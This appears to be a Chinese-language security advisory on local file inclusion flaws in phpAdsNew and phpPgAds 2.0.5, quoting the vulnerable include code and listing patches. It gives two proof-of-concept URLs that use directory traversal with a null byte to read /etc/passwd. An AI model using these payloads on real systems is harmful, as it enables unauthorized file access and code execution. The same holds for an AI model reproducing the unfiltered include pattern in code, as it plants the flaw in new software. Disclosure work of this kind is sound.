phpAdsNew/Postgres本地文件包含漏洞
发布日期:2005-08-19
更新日期:2005-08-19
受影响系统:phpAdsNew phpAdsNew 2.0.5
phpPgAds phpPgAds 2.0.5
不受影响系统:phpAdsNew phpAdsNew 2.0.6
phpPgAds phpPgAds 2.0.6
描述:
BUGTRAQ ID:
14591
phpAdsNew是一款开发源码的广告服务程序,用于管理横幅广告。phpPgAds是用Postgres实现的phpAdsNew。
phpAdsNew和phpPgAds中存在本地文件包含漏洞。第一个漏洞存在于adlayer.php。
代码:
- -151-153---
phpAds_registerGlobal ('what', 'clientid', 'clientID', 'context',
'target', 'source', 'withtext', 'withText',
'layerstyle');
- -151-153---
和
- -178-182---
if (!isset($layerstyle) || empty($layerstyle)) $layerstyle = 'geocities';
// Include layerstyle
require(phpAds_path.'/libraries/layerstyles/'.$layerstyle.'/layerstyle.inc.php');
- -178-182---
没有正确的过滤$layerstyle变量,因此可以包含本地文件。
另一个漏洞存在于./admin/js-form.php。
代码:
- -26-28---
@include (phpAds_path.'/language/english/default.lang.php');
if ($HTTP_GET_VARS['language'] != 'english' && \
file_exists(phpAds_path.'/language/'.$HTTP_GET_VARS['language'].'/default.lang.php')) \
@include \
(phpAds_path.'/language/'.$HTTP_GET_VARS['language'].'/default.lang.ph \
p');
- -26-28---
如果magic_quotes_gpc = Off的话,就可以执行攻击。
成功利用这些漏洞的攻击者可以远程执行任意代码。
<*来源:Maksymilian Arciemowicz (
max@jestsuper.pl)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=112431194004798&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://[HOST]/[DIR]/adlayer.php?layerstyle=../../../../../../../etc/passwd%00
http://[HOST]/[DIR]/admin/js-form.php?language=../../../../../../../../../../etc/passwd%00
建议:
厂商补丁:
phpAdsNew
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://phpadsnew.com/two/index.html
phpPgAds
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.phppgads.com/one/浏览次数:3121
严重程度:0(网友投票)